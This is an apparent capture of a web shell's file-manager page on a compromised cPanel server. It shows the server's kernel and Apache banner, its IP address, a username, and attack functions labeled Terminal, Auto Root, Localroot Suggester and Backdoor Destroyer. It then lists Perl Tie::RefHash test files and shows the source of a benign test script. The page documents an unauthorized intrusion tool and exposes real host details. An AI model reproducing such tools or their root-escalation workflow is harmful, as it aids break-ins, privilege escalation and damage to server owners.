Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Tie-RefHash /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
rebless.t
533
B
-r--r--r--
2014-12-27 11:48
refhash.t
8.64
KB
-r--r--r--
2014-12-27 11:48
storable.t
1.71
KB
-r--r--r--
2014-12-27 11:48
threaded.t
1.92
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl -T -w BEGIN { if( $ENV{PERL_CORE} ) { chdir 't'; @INC = '../lib'; } } use strict; use Tie::RefHash; { package Moose; sub new { bless { }, shift }; package Elk; use vars qw/@ISA/; @ISA = "Moose"; } $\ = "\n"; print "1..2"; my $obj = Moose->new; tie my %hash, "Tie::RefHash"; $hash{$obj} = "magic"; print ( ( $hash{$obj} eq "magic" ) ? "" : "not ", "ok - keyed before rebless" ); bless $obj, "Elk"; print ( ( $hash{$obj} eq "magic" ) ? "" : "not ", "ok - still the same");